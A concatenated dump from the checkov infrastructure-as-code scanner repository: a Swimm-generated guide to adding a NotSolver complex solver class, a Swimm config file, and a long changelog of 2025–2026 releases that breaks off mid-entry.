### 📄 checkov/common/checks_infra/solvers/complex_solvers/not_solver.py ```python ⬜ 8 class NotSolver(BaseComplexSolver): ⬜ 9 operator = Operators.NOT # noqa: CCE003 # a static attribute ⬜ 10 🟩 11 def __init__(self, solvers: List[BaseSolver], resource_types: List[str]) -> None: 🟩 12 if len(solvers) != 1: 🟩 13 raise Exception('The "not" operator must have exactly one child') 🟩 14 super().__init__(solvers, resource_types) ⬜ 15 ⬜ 16 def _get_operation(self, *args: Any, **kwargs: Any) -> Any: ⬜ 17 if len(args) != 1: ```
### 📄 checkov/common/checks_infra/solvers/complex_solvers/not_solver.py ```python ⬜ 13 raise Exception('The "not" operator must have exactly one child') ⬜ 14 super().__init__(solvers, resource_types) ⬜ 15 🟩 16 def _get_operation(self, *args: Any, **kwargs: Any) -> Any: 🟩 17 if len(args) != 1: 🟩 18 raise Exception('The "not" operator must have exactly one child') 🟩 19 return not args[0] ⬜ 20 ⬜ 21 def get_operation(self, vertex: Dict[str, Any]) -> bool: # type:ignore[override] ⬜ 22 return not self.solvers[0].get_operation(vertex) ```
### 📄 checkov/common/checks_infra/solvers/complex_solvers/not_solver.py ```python ⬜ 18 raise Exception('The "not" operator must have exactly one child') ⬜ 19 return not args[0] ⬜ 20 🟩 21 def get_operation(self, vertex: Dict[str, Any]) -> bool: # type:ignore[override] 🟩 22 return not self.solvers[0].get_operation(vertex) ⬜ 23 ```
## Update additional files with the new class Every time we add new `BaseComplexSolver`[↓](#f-10523X)s, we reference them in a few locations. We will still look at `NotSolver`[↓](#f-Z2wW09R) as our example.
4\. Update `📄 checkov/common/checks_infra/checks_parser.py`, as we do with `NotSolver`[↓](#f-Z2wW09R) here: ### 📄 checkov/common/checks_infra/checks_parser.py ```python ⬜ 19 NotEndingWithAttributeSolver, ⬜ 20 AndSolver, ⬜ 21 OrSolver, 🟩 22 NotSolver, ⬜ 23 ConnectionExistsSolver, ⬜ 24 ConnectionNotExistsSolver, ⬜ 25 AndConnectionSolver, ```
In addition, in the same file: ### 📄 checkov/common/checks_infra/checks_parser.py ```python ⬜ 93 operators_to_complex_solver_classes: dict[str, Type[BaseComplexSolver]] = { ⬜ 94 "and": AndSolver, ⬜ 95 "or": OrSolver, 🟩 96 "not": NotSolver, ⬜ 97 } ⬜ 98 ⬜ 99 operator_to_connection_solver_classes: dict[str, Type[BaseConnectionSolver]] = { ```
4\. We modify `📄 checkov/common/checks_infra/solvers/complex_solvers/__init__.py`, for example: ### 📄 checkov/common/checks_infra/solvers/complex_solvers/__init__.py ```python ⬜ 1 from checkov.common.checks_infra.solvers.complex_solvers.or_solver import OrSolver # noqa ⬜ 2 from checkov.common.checks_infra.solvers.complex_solvers.and_solver import AndSolver # noqa 🟩 3 from checkov.common.checks_infra.solvers.complex_solvers.not_solver import NotSolver # noqa ⬜ 4 ```
### Swimm Note __init__[^](#ZDc3b7) - "checkov/common/checks_infra/solvers/complex_solvers/not_solver.py" L11 ```python def __init__(self, solvers: List[BaseSolver], resource_types: List[str]) -> None: ``` _get_operation[^](#Z1IWbj3) - "checkov/common/checks_infra/solvers/complex_solvers/not_solver.py" L16 ```python def _get_operation(self, *args: Any, **kwargs: Any) -> Any: ``` AnyResourceSolver[^](#Z7ghIg) - "checkov/common/checks_infra/solvers/attribute_solvers/any_attribute_solver.py" L7 ```python class AnyResourceSolver(BaseAttributeSolver): ``` BaseComplexSolver[^](#10523X) - "checkov/common/checks_infra/solvers/complex_solvers/base_complex_solver.py" L9 ```python class BaseComplexSolver(BaseSolver): ``` BaseSolver[^](#2wxET6) - "checkov/common/graph/checks_infra/solvers/base_solver.py" L9 ```python class BaseSolver: ``` get_operation[^](#I3t5K) - "checkov/common/checks_infra/solvers/complex_solvers/not_solver.py" L21 ```python def get_operation(self, vertex: Dict[str, Any]) -> bool: # type:ignore[override] ``` NotContainsAttributeSolver[^](#Z136myH) - "checkov/common/checks_infra/solvers/attribute_solvers/not_contains_attribute_solver.py" L7 ```python class NotContainsAttributeSolver(ContainsAttributeSolver): ``` NotEndingWithAttributeSolver[^](#923Qq) - "checkov/common/checks_infra/solvers/attribute_solvers/not_ending_with_attribute_solver.py" L7 ```python class NotEndingWithAttributeSolver(EndingWithAttributeSolver): ``` NotSolver[^](#Z2wW09R) - "checkov/common/checks_infra/solvers/complex_solvers/not_solver.py" L8 ```python class NotSolver(BaseComplexSolver): ``` operator[^](#Z1HozjT) - "checkov/common/checks_infra/solvers/complex_solvers/not_solver.py" L9 ```python operator = Operators.NOT # noqa: CCE003 # a static attribute ``` OrConnectionSolver[^](#Z1oapTp) - "checkov/common/checks_infra/solvers/connections_solvers/or_connection_solver.py" L11 ```python class OrConnectionSolver(ComplexConnectionSolver): ```
This file was generated by Swimm. [Click here to view it in the app](https://app.swimm.io/repos/Z2l0aHViJTNBJTNBY2hlY2tvdiUzQSUzQWJyaWRnZWNyZXdpbw==/docs/gm0ti). ================================================ FILE: .swm/swimm.json ================================================ { "repo_id": "Z2l0aHViJTNBJTNBY2hlY2tvdiUzQSUzQWJyaWRnZWNyZXdpbw==", "configuration": { "swmd": true } } ================================================ FILE: CHANGELOG.md ================================================ # CHANGELOG ## [Unreleased](https://github.com/bridgecrewio/checkov/compare/3.2.510...HEAD) ## [3.2.510](https://github.com/bridgecrewio/checkov/compare/3.2.508...3.2.510) - 2026-03-18 ### Bug Fix - **terraform:** support modern TLS security policies in CKV_AWS_206 - [#7466](https://github.com/bridgecrewio/checkov/pull/7466) - **terraform:** update CKV_AWS_339 supported EKS Kubernetes versions - [#7465](https://github.com/bridgecrewio/checkov/pull/7465) - **terraform:** update CKV_GCP_79 latest Postgres version from 17 to 18 - [#7464](https://github.com/bridgecrewio/checkov/pull/7464) ## [3.2.508](https://github.com/bridgecrewio/checkov/compare/3.2.507...3.2.508) - 2026-03-08 ### Bug Fix - **secrets:** eliminate race condition in secrets scanner when running concurrently with other scanners - [#7456](https://github.com/bridgecrewio/checkov/pull/7456) ## [3.2.507](https://github.com/bridgecrewio/checkov/compare/3.2.506...3.2.507) - 2026-03-05 ### Bug Fix - **secrets:** add _thread_safe_transient_settings( to secret runner - [#7455](https://github.com/bridgecrewio/checkov/pull/7455) ## [3.2.506](https://github.com/bridgecrewio/checkov/compare/3.2.505...3.2.506) - 2026-02-23 ### Bug Fix - **terraform:** return inner module path when dest_dir already exists on Linux - [#7436](https://github.com/bridgecrewio/checkov/pull/7436) ## [3.2.505](https://github.com/bridgecrewio/checkov/compare/3.2.504...3.2.505) - 2026-02-22 ### Feature - **bicep:** revert bump pycep to support better bicep syntax - [#7446](https://github.com/bridgecrewio/checkov/pull/7446) ## [3.2.504](https://github.com/bridgecrewio/checkov/compare/3.2.502...3.2.504) - 2026-02-18 ### Feature - **bicep:** bump pycep to support better bicep syntax - [#7441](https://github.com/bridgecrewio/checkov/pull/7441) - **terraform:** deprecate dotnet v6 and support v9 and v10 - [#7442](https://github.com/bridgecrewio/checkov/pull/7442) ## [3.2.502](https://github.com/bridgecrewio/checkov/compare/3.2.501...3.2.502) - 2026-02-16 ### Feature - **general:** better shell commands - [#7438](https://github.com/bridgecrewio/checkov/pull/7438) ## [3.2.501](https://github.com/bridgecrewio/checkov/compare/3.2.500...3.2.501) - 2026-02-11 ### Bug Fix - **general:** secret detection in build log files with line prefixes - [#7431](https://github.com/bridgecrewio/checkov/pull/7431) ## [3.2.500](https://github.com/bridgecrewio/checkov/compare/3.2.499...3.2.500) - 2026-02-01 ### Bug Fix - **cloudformation:** render variables in cfn vertices config - [#7423](https://github.com/bridgecrewio/checkov/pull/7423) ## [3.2.499](https://github.com/bridgecrewio/checkov/compare/3.2.497...3.2.499) - 2026-01-25 ### Feature - **general:** Add BC_CA_BUNDLE environment variable support for custom CA certificates - [#7419](https://github.com/bridgecrewio/checkov/pull/7419) - **secrets:** Override AWS generic check with cortex specific checks - [#7420](https://github.com/bridgecrewio/checkov/pull/7420) ### Bug Fix - **terraform:** test dates - [#7422](https://github.com/bridgecrewio/checkov/pull/7422) ## [3.2.497](https://github.com/bridgecrewio/checkov/compare/3.2.496...3.2.497) - 2025-12-30 ### Bug Fix - **terraform:** handle file path instead of directory - [#7408](https://github.com/bridgecrewio/checkov/pull/7408) ## [3.2.496](https://github.com/bridgecrewio/checkov/compare/3.2.495...3.2.496) - 2025-12-28 ### Bug Fix - **terraform:** CKV_GCP_6 - Added special handling for MSSQL SERVER database type - [#7405](https://github.com/bridgecrewio/checkov/pull/7405) ## [3.2.495](https://github.com/bridgecrewio/checkov/compare/3.2.494...3.2.495) - 2025-11-23 ### Bug Fix - **kubernetes:** Fix CKV_K8S_21 - [#7378](https://github.com/bridgecrewio/checkov/pull/7378) ## [3.2.494](https://github.com/bridgecrewio/checkov/compare/3.2.493...3.2.494) - 2025-11-18 ### Bug Fix - **general:** Fixed build workflows of integration test by locking helm version - [#7371](https://github.com/bridgecrewio/checkov/pull/7371) - **terraform:** Fixed variable rendering of complex variables to avoid changing type - [#7369](https://github.com/bridgecrewio/checkov/pull/7369) ## [3.2.493](https://github.com/bridgecrewio/checkov/compare/3.2.492...3.2.493) - 2025-11-12 ### Feature - **general:** support skips for module for_each and count - [#7368](https://github.com/bridgecrewio/checkov/pull/7368) ## [3.2.492](https://github.com/bridgecrewio/checkov/compare/3.2.491...3.2.492) - 2025-11-10 ### Bug Fix - **terraform:** get_resource_tags handles more cases - [#7365](https://github.com/bridgecrewio/checkov/pull/7365) ## [3.2.491](https://github.com/bridgecrewio/checkov/compare/3.2.490...3.2.491) - 2025-11-09 ### Bug Fix - **terraform:** Graph report tags should be dict - [#7363](https://github.com/bridgecrewio/checkov/pull/7363) ## [3.2.490](https://github.com/bridgecrewio/checkov/compare/3.2.489...3.2.490) - 2025-11-04 ### Feature - **general:** Fix downloading of the external modules when ref is a shortened Git hash - [#7278](https://github.com/bridgecrewio/checkov/pull/7278) ## [3.2.489](https://github.com/bridgecrewio/checkov/compare/3.2.488...3.2.489) - 2025-10-29 ### Bug Fix - **helm:** Check HELM_NAMESPACE env var in CKV_K8S_21 - [#7355](https://github.com/bridgecrewio/checkov/pull/7355) ## [3.2.488](https://github.com/bridgecrewio/checkov/compare/3.2.487...3.2.488) - 2025-10-27 ### Feature - **terraform_plan:** add new cases for foreach in the presence of skips - [#7351](https://github.com/bridgecrewio/checkov/pull/7351) ## [3.2.487](https://github.com/bridgecrewio/checkov/compare/3.2.486...3.2.487) - 2025-10-23 ### Bug Fix - **general:** CKV_AWS_174 should-allow-higher-then-TLSv1.2 - terraform and cloudformation - [#7352](https://github.com/bridgecrewio/checkov/pull/7352) ## [3.2.486](https://github.com/bridgecrewio/checkov/compare/3.2.485...3.2.486) - 2025-10-22 ### Feature - **general:** update setuptools version 78.1.1 - [#7347](https://github.com/bridgecrewio/checkov/pull/7347) ## [3.2.485](https://github.com/bridgecrewio/checkov/compare/3.2.484...3.2.485) - 2025-10-20 ### Bug Fix - **general:** fix urllib3 dependency - [#7345](https://github.com/bridgecrewio/checkov/pull/7345) ## [3.2.484](https://github.com/bridgecrewio/checkov/compare/3.2.483...3.2.484) - 2025-10-15 ### Bug Fix - **terraform_plan:** Correctly handle complex types for after_unknown - [#7333](https://github.com/bridgecrewio/checkov/pull/7333) ## [3.2.483](https://github.com/bridgecrewio/checkov/compare/3.2.479...3.2.483) - 2025-10-12 ### Feature - **general:** anchor setuptools to fix metadata version - [#7330](https://github.com/bridgecrewio/checkov/pull/7330) - **general:** update our publishing job SHA to latest - [#7332](https://github.com/bridgecrewio/checkov/pull/7332) - **terraform_plan:** fix handling of resource_id for enrichment in tf_plan - [#7329](https://github.com/bridgecrewio/checkov/pull/7329) ## [3.2.479](https://github.com/bridgecrewio/checkov/compare/3.2.477...3.2.479) - 2025-10-09 ### Feature - **general:** upgrade checkov python version 3.9 - [#7326](https://github.com/bridgecrewio/checkov/pull/7326) - **general:** upgrade checkvo python version - [#7303](https://github.com/bridgecrewio/checkov/pull/7303) - **terraform:** skip raw tf resource violation - [#7325](https://github.com/bridgecrewio/checkov/pull/7325) ### Bug Fix - **general:** revert pipfile urllib3 change - [#7324](https://github.com/bridgecrewio/checkov/pull/7324) ## [3.2.477](https://github.com/bridgecrewio/checkov/compare/3.2.474...3.2.477) - 2025-10-08 ### Bug Fix - **terraform_plan:** compute the longest common prefix between two optional vertex - [#7320](https://github.com/bridgecrewio/checkov/pull/7320) - **terraform_plan:** Don't add values to empty list values in after_unknown - [#7319](https://github.com/bridgecrewio/checkov/pull/7319) ## [3.2.474](https://github.com/bridgecrewio/checkov/compare/3.2.473...3.2.474) - 2025-10-05 ### Documentation - **general:** Add JAVA_FULL_DT environment variable to CLI reference - [#7312](https://github.com/bridgecrewio/checkov/pull/7312) ## [3.2.473](https://github.com/bridgecrewio/checkov/compare/3.2.472...3.2.473) - 2025-09-30 - no noteworthy changes ## [3.2.472](https://github.com/bridgecrewio/checkov/compare/3.2.471...3.2.472) - 2025-09-28 ### Feature - **terraform:** fix foreach module handling - [#7313](https://github.com/bridgecrewio/checkov/pull/7313) ## [3.2.471](https://github.com/bridgecrewio/checkov/compare/3.2.470...3.2.471) - 2025-09-14 ### Bug Fix - **terraform_plan:** fix access to list by str in tf plan under _handle_complex_after_unknown - [#7299](https://github.com/bridgecrewio/checkov/pull/7299) ## [3.2.470](https://github.com/bridgecrewio/checkov/compare/3.2.469...3.2.470) - 2025-09-08 ### Bug Fix - **helm:** Make Helm template detection less aggressive - [#7288](https://github.com/bridgecrewio/checkov/pull/7288) ## [3.2.469](https://github.com/bridgecrewio/checkov/compare/3.2.467...3.2.469) - 2025-09-01 ### Feature - **general:** Control parallelism - [#7286](https://github.com/bridgecrewio/checkov/pull/7286) ## [3.2.467](https://github.com/bridgecrewio/checkov/compare/3.2.466...3.2.467) - 2025-08-27 ### Bug Fix - **serverless:** Fixed bad entity code line generation - [#7285](https://github.com/bridgecrewio/checkov/pull/7285) ## [3.2.466](https://github.com/bridgecrewio/checkov/compare/3.2.464...3.2.466) - 2025-08-25 ### Feature - **terraform:** add aws_vpc_endpoint to RESOURCE_TYPES_JSONIFY - [#7281](https://github.com/bridgecrewio/checkov/pull/7281) ### Bug Fix - **general:** Add exclusion for plan_with_providers test files in security scanning - [#7282](https://github.com/bridgecrewio/checkov/pull/7282) ## [3.2.464](https://github.com/bridgecrewio/checkov/compare/3.2.461...3.2.464) - 2025-08-20 ### Feature - **secrets:** support suppressions in JSON files - [#7275](https://github.com/bridgecrewio/checkov/pull/7275) ## [3.2.461](https://github.com/bridgecrewio/checkov/compare/3.2.460...3.2.461) - 2025-08-12 ### Bug Fix - **terraform:** Handled git external module loading with sub-directory but without protocol - [#7272](https://github.com/bridgecrewio/checkov/pull/7272) ## [3.2.460](https://github.com/bridgecrewio/checkov/compare/3.2.458...3.2.460) - 2025-08-10 ### Bug Fix - **general:** pin boto3 and botocore versions as failed test in Jenkins - [#7270](https://github.com/bridgecrewio/checkov/pull/7270) ## [3.2.458](https://github.com/bridgecrewio/checkov/compare/3.2.457...3.2.458) - 2025-08-06 ### Bug Fix - **terraform:** Fix conditional expression evaluation - [#7265](https://github.com/bridgecrewio/checkov/pull/7265) - **terraform:** Update FunctionAppsAccessibleOverHttps - [#7078](https://github.com/bridgecrewio/checkov/pull/7078) ## [3.2.457](https://github.com/bridgecrewio/checkov/compare/3.2.456...3.2.457) - 2025-07-28 ### Bug Fix - **dockerfile:** Use proxy env vars in aiohttp client requests - [#7260](https://github.com/bridgecrewio/checkov/pull/7260) ## [3.2.456](https://github.com/bridgecrewio/checkov/compare/3.2.454...3.2.456) - 2025-07-27 ### Bug Fix - **terraform:** Parse continue as a string rather as a python object - [#7261](https://github.com/bridgecrewio/checkov/pull/7261) ## [3.2.454](https://github.com/bridgecrewio/checkov/compare/3.2.452...3.2.454) - 2025-07-24 ### Bug Fix - **serverless:** Fixed extraction of code lines for serverless resources - [#7259](https://github.com/bridgecrewio/checkov/pull/7259) ## [3.2.452](https://github.com/bridgecrewio/checkov/compare/3.2.451...3.2.452) - 2025-07-23 ### Feature - **general:** Support Py 3.13 on build workflow - [#7222](https://github.com/bridgecrewio/checkov/pull/7222) ## [3.2.451](https://github.com/bridgecrewio/checkov/compare/3.2.450...3.2.451) - 2025-07-14 ### Feature - **terraform:** Support parsing of provider functions - [#7237](https://github.com/bridgecrewio/checkov/pull/7237) ## [3.2.450](https://github.com/bridgecrewio/checkov/compare/3.2.449...3.2.450) - 2025-07-10 ### Bug Fix - **arm:** filter out failed checks with resource names containing un-rendered functions - [#7231](https://github.com/bridgecrewio/checkov/pull/7231) ## [3.2.449](https://github.com/bridgecrewio/checkov/compare/3.2.447...3.2.449) - 2025-07-09 ### Bug Fix - **terraform:** fix cloning external modules from private regsitries - [#7229](https://github.com/bridgecrewio/checkov/pull/7229) - **terraform:** fix issue 7216 module version parsing issue - [#7224](https://github.com/bridgecrewio/checkov/pull/7224) ## [3.2.447](https://github.com/bridgecrewio/checkov/compare/3.2.446...3.2.447) - 2025-06-26 ### Bug Fix - **terraform:** Added support in restricting to a specific GitHub organization for GithubActionsOIDCTrustPolicy - [#7221](https://github.com/bridgecrewio/checkov/pull/7221) ## [3.2.446](https://github.com/bridgecrewio/checkov/compare/3.2.445...3.2.446) - 2025-06-24 ### Feature - **kubernetes:** include hidden folders in scan - [#7219](https://github.com/bridgecrewio/checkov/pull/7219) ## [3.2.445](https://github.com/bridgecrewio/checkov/compare/3.2.443...3.2.445) - 2025-06-22 ### Bug Fix - **helm:** fix file paths to point to original files and not generated ones - [#7212](https://github.com/bridgecrewio/checkov/pull/7212) - **secrets:** fix omitting and masking - [#7218](https://github.com/bridgecrewio/checkov/pull/7218) ## [3.2.443](https://github.com/bridgecrewio/checkov/compare/3.2.442...3.2.443) - 2025-06-19 ### Bug Fix - **secrets:** fix omit and masking - [#7213](https://github.com/bridgecrewio/checkov/pull/7213) ## [3.2.442](https://github.com/bridgecrewio/checkov/compare/3.2.440...3.2.442) - 2025-06-15 ### Bug Fix - **secrets:** fix relative path secrets - [#7211](https://github.com/bridgecrewio/checkov/pull/7211) ## [3.2.440](https://github.com/bridgecrewio/checkov/compare/3.2.439...3.2.440) - 2025-06-11 ### Feature - **secrets:** Bump detect secrets - [#7203](https://github.com/bridgecrewio/checkov/pull/7203) ## [3.2.439](https://github.com/bridgecrewio/checkov/compare/3.2.437...3.2.439) - 2025-06-09 ### Bug Fix - **serverless:** Enhance yaml parsing, better support for file expansion - [#7115](https://github.com/bridgecrewio/checkov/pull/7115) - **terraform:** Better utilization of managed modules (if enabled) - [#7111](https://github.com/bridgecrewio/checkov/pull/7111) ## [3.2.437](https://github.com/bridgecrewio/checkov/compare/3.2.436...3.2.437) - 2025-06-05 ### Bug Fix - **terraform:** Handle explicitly-specified tfvars explicitly - [#7107](https://github.com/bridgecrewio/checkov/pull/7107) ## [3.2.436](https://github.com/bridgecrewio/checkov/compare/3.2.435...3.2.436) - 2025-05-30 ### Bug Fix - **terraform_plan:** Support count in terraform plan files - [#7195](https://github.com/bridgecrewio/checkov/pull/7195) ## [3.2.435](https://github.com/bridgecrewio/checkov/compare/3.2.433...3.2.435) - 2025-05-27 ### Bug Fix - **kubernetes:** Only filter out files that contain Helm built-in variables and functions - [#6922](https://github.com/bridgecrewio/checkov/pull/6922) - **serverless:** check if start and end line in serverless definitions context - [#7189](https://github.com/bridgecrewio/checkov/pull/7189) ## [3.2.433](https://github.com/bridgecrewio/checkov/compare/3.2.432...3.2.433) - 2025-05-26 ### Bug Fix - **terraform_plan:** add a check to avoid doing get on a none dict object in tfplan scan - [#7180](https://github.com/bridgecrewio/checkov/pull/7180) ## [3.2.432](https://github.com/bridgecrewio/checkov/compare/3.2.429...3.2.432) - 2025-05-22 ### Bug Fix - **terraform:** Multiple fixes - [#7178](https://github.com/bridgecrewio/checkov/pull/7178) ## [3.2.429](https://github.com/bridgecrewio/checkov/compare/3.2.427...3.2.429) - 2025-05-21 ### Bug Fix - **general:** Fix support for git external module syntax 'git::git@' - [#7175](https://github.com/bridgecrewio/checkov/pull/7175) - **general:** Remove asteval syntax error logs - [#7172](https://github.com/bridgecrewio/checkov/pull/7172) ## [3.2.427](https://github.com/bridgecrewio/checkov/compare/3.2.426...3.2.427) - 2025-05-20 ### Feature - **secrets:** Revert - Bump detect secrets - [#7171](https://github.com/bridgecrewio/checkov/pull/7171) ### Bug Fix - **terraform:** dont move clone to internal dir - [#7159](https://github.com/bridgecrewio/checkov/pull/7159) ## [3.2.426](https://github.com/bridgecrewio/checkov/compare/3.2.424...3.2.426) - 2025-05-19 ### Feature - **secrets:** Bump detect secrets - [#7158](https://github.com/bridgecrewio/checkov/pull/7158) - **terraform:** 7 new policies - [#7056](https://github.com/bridgecrewio/checkov/pull/7056) ## [3.2.424](https://github.com/bridgecrewio/checkov/compare/3.2.422...3.2.424) - 2025-05-15 ### Feature - **terraform:** Add SNS check and modify some - [#7154](https://github.com/bridgecrewio/checkov/pull/7154) ### Bug Fix - **secrets:** Fix for git-history scan by commits - [#7160](https://github.com/bridgecrewio/checkov/pull/7160) ## [3.2.422](https://github.com/bridgecrewio/checkov/compare/3.2.420...3.2.422) - 2025-05-14 ### Feature - **secrets:** git-history allow scan by commits list - [#7155](https://github.com/bridgecrewio/checkov/pull/7155) ### Bug Fix - **general:** exclude **start_line** and **end_line** from is empty solver - [#7156](https://github.com/bridgecrewio/checkov/pull/7156) ## [3.2.420](https://github.com/bridgecrewio/checkov/compare/3.2.417...3.2.420) - 2025-05-13 ### Feature - **kustomize:** export get kustomize resource id to a function - [#7153](https://github.com/bridgecrewio/checkov/pull/7153) ### Bug Fix - **general:** Skip bc_api_key in output - [#7148](https://github.com/bridgecrewio/checkov/pull/7148) - **terraform:** Fixed crash when using variable rendering inside a list of len > 1 - [#7151](https://github.com/bridgecrewio/checkov/pull/7151) ## [3.2.417](https://github.com/bridgecrewio/checkov/compare/3.2.416...3.2.417) - 2025-05-12 ### Breaking Change - **general:** Remove OpenAI - [#7146](https://github.com/bridgecrewio/checkov/pull/7146) ## [3.2.416](https://github.com/bridgecrewio/checkov/compare/3.2.415...3.2.416) - 2025-05-06 ### Bug Fix - **terraform_plan:** use provider name not resource address to fix supported_provider matching - [#7119](https://github.com/bridgecrewio/checkov/pull/7119) ## [3.2.415](https://github.com/bridgecrewio/checkov/compare/3.2.414...3.2.415) - 2025-05-05 ### Bug Fix - **general:** using asteval instead of using eval - [#7116](https://github.com/bridgecrewio/checkov/pull/7116) ## [3.2.414](https://github.com/bridgecrewio/checkov/compare/3.2.413...3.2.414) - 2025-05-01 ### Bug Fix - **terraform:** Fix protocols for CKV2_AWS_74 and fix for CKV2_K8S_5 - [#7134](https://github.com/bridgecrewio/checkov/pull/7134) ## [3.2.413](https://github.com/bridgecrewio/checkov/compare/3.2.411...3.2.413) - 2025-04-29 ### Feature - **terraform:** Add new check for overly permissive SQS policy - [#7125](https://github.com/bridgecrewio/checkov/pull/7125) ### Bug Fix - **terraform:** support CLI notation in CKV_AZURE_228 for EventHub locations - [#7124](https://github.com/bridgecrewio/checkov/pull/7124) ## [3.2.411](https://github.com/bridgecrewio/checkov/compare/3.2.408...3.2.411) - 2025-04-28 ### Feature - **secrets:** Add support in git history for producer consumer - [#7123](https://github.com/bridgecrewio/checkov/pull/7123) ### Bug Fix - **general:** Make --download-external-modules Optional[bool] - [#7121](https://github.com/bridgecrewio/checkov/pull/7121) - **secrets:** Fix test directory tree race - [#7122](https://github.com/bridgecrewio/checkov/pull/7122) - **terraform:** add aws_elasticache_serverless_cache to CKV2_AWS_5 - [#7079](https://github.com/bridgecrewio/checkov/pull/7079) ## [3.2.408](https://github.com/bridgecrewio/checkov/compare/3.2.407...3.2.408) - 2025-04-24 ### Feature - **terraform:** Over permissive Lambda Cors check (Terraform & Cloudformation) - [#7113](https://github.com/bridgecrewio/checkov/pull/7113) ### Bug Fix - **general:** base_runner: Properly escape excluded directories that begin with '.' - [#7112](https://github.com/bridgecrewio/checkov/pull/7112) ## [3.2.407](https://github.com/bridgecrewio/checkov/compare/3.2.406...3.2.407) - 2025-04-21 ### Feature - **terraform:** Add new check and update old around cipher suites - [#7108](https://github.com/bridgecrewio/checkov/pull/7108) ## [3.2.406](https://github.com/bridgecrewio/checkov/compare/3.2.404...3.2.406) - 2025-04-17 ### Bug Fix - **kustomize:** handle kustomize file with empty resources section - [#7109](https://github.com/bridgecrewio/checkov/pull/7109) ## [3.2.404](https://github.com/bridgecrewio/checkov/compare/3.2.403...3.2.404) - 2025-04-14 ### Bug Fix - **terraform:** Fix for multiple checks - [#7097](https://github.com/bridgecrewio/checkov/pull/7097) ## [3.2.403](https://github.com/bridgecrewio/checkov/compare/3.2.402...3.2.403) - 2025-04-10 ### Feature - **cloudformation:** Update Lambda Runtime checks - [#7065](https://github.com/bridgecrewio/checkov/pull/7065) ## [3.2.402](https://github.com/bridgecrewio/checkov/compare/3.2.400...3.2.402) - 2025-04-08 ### Bug Fix - **terraform:** Change to valid name - [#7089](https://github.com/bridgecrewio/checkov/pull/7089) - **terraform:** CKV2_IBM_1 - ignore case for load balancer of type private_path - [#7010](https://github.com/bridgecrewio/checkov/pull/7010) - **terraform:** rename test FunctionAppsAccessibleOverHttps - [#7085](https://github.com/bridgecrewio/checkov/pull/7085) ### Documentation - **general:** Add install for debian - [#7083](https://github.com/bridgecrewio/checkov/pull/7083) ## [3.2.400](https://github.com/bridgecrewio/checkov/compare/3.2.398...3.2.400) - 2025-04-07 ### Bug Fix - **general:** typos discovered by codespell - [#7012](https://github.com/bridgecrewio/checkov/pull/7012) - **terraform:** Update FunctionAppsAccessibleOverHttps - [#7084](https://github.com/bridgecrewio/checkov/pull/7084) ## [3.2.398](https://github.com/bridgecrewio/checkov/compare/3.2.397...3.2.398) - 2025-04-06 ### Bug Fix - **general:** handle connected_node tuple in CustomJSONEncoder for json report (#7062) - [#7063](https://github.com/bridgecrewio/checkov/pull/7063) ## [3.2.397](https://github.com/bridgecrewio/checkov/compare/3.2.396...3.2.397) - 2025-04-04 - no noteworthy changes ## [3.2.396](https://github.com/bridgecrewio/checkov/compare/3.2.395...3.2.396) - 2025-04-01 ### Bug Fix - **terraform:** Fix keeping range a range - [#7073](https://github.com/bridgecrewio/checkov/pull/7073) ## [3.2.395](https://github.com/bridgecrewio/checkov/compare/3.2.394...3.2.395) - 2025-03-31 ### Feature - **serverless:** add check for empty resource attributes - [#7074](https://github.com/bridgecrewio/checkov/pull/7074) ## [3.2.394](https://github.com/bridgecrewio/checkov/compare/3.2.393...3.2.394) - 2025-03-27 ### Bug Fix - **terraform:** Fix CKV2_GCP_12 and a few tests - [#7069](https://github.com/bridgecrewio/checkov/pull/7069) ## [3.2.393](https://github.com/bridgecrewio/checkov/compare/3.2.392...3.2.393) - 2025-03-26 ### Bug Fix - **general:** Updated correct connected_node when creating graph report out of all options - [#7068](https://github.com/bridgecrewio/checkov/pull/7068) ## [3.2.392](https://github.com/bridgecrewio/checkov/compare/3.2.391...3.2.392) - 2025-03-24 ### Bug Fix - **terraform_plan:** Run provider checks against all providers in plan - [#7061](https://github.com/bridgecrewio/checkov/pull/7061) ## [3.2.391](https://github.com/bridgecrewio/checkov/compare/3.2.390...3.2.391) - 2025-03-23 ### Bug Fix - **secrets:** Bump detect-secrets to not flag AZ secrets in plan files - [#7064](https://github.com/bridgecrewio/checkov/pull/7064) ## [3.2.390](https://github.com/bridgecrewio/checkov/compare/3.2.386...3.2.390) - 2025-03-19 ### Feature - **terraform:** add raw tf resource to graph - [#7047](https://github.com/bridgecrewio/checkov/pull/7047) ### Bug Fix - **general:** Fix a few checks - [#7051](https://github.com/bridgecrewio/checkov/pull/7051) - **general:** Remove sneaky unicode characters that break a regex and console outputs on Windows - [#6987](https://github.com/bridgecrewio/checkov/pull/6987) - **terraform:** CKV_AWS_228 - support new AWS Opensearch TLS policy - [#7007](https://github.com/bridgecrewio/checkov/pull/7007) ## [3.2.386](https://github.com/bridgecrewio/checkov/compare/3.2.385...3.2.386) - 2025-03-14 - no noteworthy changes ## [3.2.385](https://github.com/bridgecrewio/checkov/compare/3.2.384...3.2.385) - 2025-03-13 ### Bug Fix - **terraform:** Update all resources - [#7049](https://github.com/bridgecrewio/checkov/pull/7049) ## [3.2.384](https://github.com/bridgecrewio/checkov/compare/3.2.383...3.2.384) - 2025-03-12 ### Bug Fix - **terraform:** Update CKV_ALI_1 - [#7040](https://github.com/bridgecrewio/checkov/pull/7040) ## [3.2.383](https://github.com/bridgecrewio/checkov/compare/3.2.382...3.2.383) - 2025-03-11 ### Feature - **serverless:** add tags enrichment to serverless - [#7044](https://github.com/bridgecrewio/checkov/pull/7044) ### Bug Fix - **sast:** Fix CKV_AWS_194 policy - [#7048](https://github.com/bridgecrewio/checkov/pull/7048) ## [3.2.382](https://github.com/bridgecrewio/checkov/compare/3.2.381...3.2.382) - 2025-03-06 ### Feature - **secrets:** Bump detect-secrets to remove more lock files - [#7039](https://github.com/bridgecrewio/checkov/pull/7039) ## [3.2.381](https://github.com/bridgecrewio/checkov/compare/3.2.379...3.2.381) - 2025-03-05 ### Bug Fix - **general:** prevent connected_node attribute from being overriden - [#7032](https://github.com/bridgecrewio/checkov/pull/7032) - **secrets:** ckv_secret_80 filtering fix - [#7037](https://github.com/bridgecrewio/checkov/pull/7037) ## [3.2.379](https://github.com/bridgecrewio/checkov/compare/3.2.378...3.2.379) - 2025-03-03 ### Feature - **terraform:** Add azure DB checks for flexible server private endpoints - [#7030](https://github.com/bridgecrewio/checkov/pull/7030) ## [3.2.378](https://github.com/bridgecrewio/checkov/compare/3.2.377...3.2.378) - 2025-02-27 ### Bug Fix - **secrets:** Remove CKV_SECRET_80 instead of CKV_SECRET_6 - 